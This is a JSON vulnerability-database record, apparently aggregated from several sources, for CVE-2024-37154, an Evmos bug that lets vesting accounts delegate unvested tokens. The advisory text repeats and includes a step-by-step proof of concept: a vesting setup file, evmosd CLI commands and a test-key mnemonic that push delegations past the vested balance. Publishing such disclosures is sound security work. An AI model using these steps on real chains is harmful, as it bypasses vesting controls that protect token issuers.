{"id":"CVE-2024-37154","aliases":["EUVD-2024-1962","GHSA-7hrh-v6wp-53vw","GO-2024-2904"],"status":"published","title":"Evmos allows unvested token delegations","description":"Evmos is the Ethereum Virtual Machine (EVM) Hub on the Cosmos Network. Users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via `ClawbackVestingAccount`. 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The remainder is in a [second advisory on the Cosmos SDK fork](https://github.com/evmos/cosmos-sdk/security/advisories/GHSA-wj6f-x5wv-8pqv).\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nThere is no effective workaround to fix or remediate this issue without a new release. The best solution is to contain the information about this vulnerability to minimize the number of users who know about it and can thus exploit it.\n\n### References\n_Are there any links users can visit to find out more?_\n\nSee the integration tests for more details on the exploit, or use the following to reproduce it on the CLI:\n\n1. Download `vesting_setup.json` with the following contents:\n```\n{\n  \"start_time\": 1679602272,\n  \"periods\": [\n    {\n      \"coins\": \"100000000000000000000aevmos\",\n      \"length_seconds\": 10 \n    },\n    {\n      \"coins\": \"100000000000000000000aevmos\",\n      \"length_seconds\": 259200000\n    }\n  ]\n}\n```\n\n2. Run the following CLI commands to reproduce the issue locally:\n```\nevmosd tx vesting create-clawback-vesting-account evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --vesting vesting_setup.json --from dev0 --fees 2000000000000000aevmos --home ~/.tmp-evmosd --yes\n\n# Verify that the balance contains zero locked tokens, 1000000000000000aevmos vested, 1000000000000000aevmos unvested\nevmosd q vesting balances evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd\n\nevmosd keys add key1 --recover --home ~/.tmp-evmosd\n# Enter the following mnemonic\nskate tell option purity cattle poverty street act bone govern way various\n\nevmosd q staking validators --home ~/.tmp-evmosd | grep operator_address\n\n# Substitute the operator address from the previous query\n# Note that this delegates 70% of the user's available stake\nevmosd tx staking delegate \u003coperator_address\u003e 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes\n\n# Re-run the same command\nevmosd tx staking delegate \u003coperator_address\u003e 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes\n\n# Note that the total delegations now exceed the user's vested balance\nevmosd q staking delegations evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd\n```","status":"published","published":"2024-06-06T19:10:21Z","modified":"2024-10-15T23:34:22Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-285","CWE-863"],"updated_at":"2026-11-02T14:38:11.479492Z"}],"nvd":[{"id":"CVE-2024-37154","description":"Evmos is the Ethereum Virtual Machine (EVM) Hub on the Cosmos Network. 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The remainder is in a [second advisory on the Cosmos SDK fork](https://github.com/evmos/cosmos-sdk/security/advisories/GHSA-wj6f-x5wv-8pqv).\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nThere is no effective workaround to fix or remediate this issue without a new release. The best solution is to contain the information about this vulnerability to minimize the number of users who know about it and can thus exploit it.\n\n### References\n_Are there any links users can visit to find out more?_\n\nSee the integration tests for more details on the exploit, or use the following to reproduce it on the CLI:\n\n1. Download `vesting_setup.json` with the following contents:\n```\n{\n  \"start_time\": 1679602272,\n  \"periods\": [\n    {\n      \"coins\": \"100000000000000000000aevmos\",\n      \"length_seconds\": 10 \n    },\n    {\n      \"coins\": \"100000000000000000000aevmos\",\n      \"length_seconds\": 259200000\n    }\n  ]\n}\n```\n\n2. Run the following CLI commands to reproduce the issue locally:\n```\nevmosd tx vesting create-clawback-vesting-account evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --vesting vesting_setup.json --from dev0 --fees 2000000000000000aevmos --home ~/.tmp-evmosd --yes\n\n# Verify that the balance contains zero locked tokens, 1000000000000000aevmos vested, 1000000000000000aevmos unvested\nevmosd q vesting balances evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd\n\nevmosd keys add key1 --recover --home ~/.tmp-evmosd\n# Enter the following mnemonic\nskate tell option purity cattle poverty street act bone govern way various\n\nevmosd q staking validators --home ~/.tmp-evmosd | grep operator_address\n\n# Substitute the operator address from the previous query\n# Note that this delegates 70% of the user's available stake\nevmosd tx staking delegate \u003coperator_address\u003e 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes\n\n# Re-run the same command\nevmosd tx staking delegate \u003coperator_address\u003e 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes\n\n# Note that the total delegations now exceed the user's vested balance\nevmosd q staking delegations evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd\n```","status":"published","published":"2024-06-06T19:10:21Z","modified":"2024-10-15T23:34:18Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-285","CWE-863"],"updated_at":"2026-11-02T15:46:41.002603Z"},{"id":"GO-2024-2904","title":"Evmos allows unvested token delegations in github.com/evmos/evmos","description":"Evmos allows unvested token delegations in github.com/evmos/evmos","status":"published","published":"2024-06-14T13:41:08Z","modified":"2026-03-03T04:51:52.648182Z","updated_at":"2026-11-02T15:47:01.453823Z"}]}}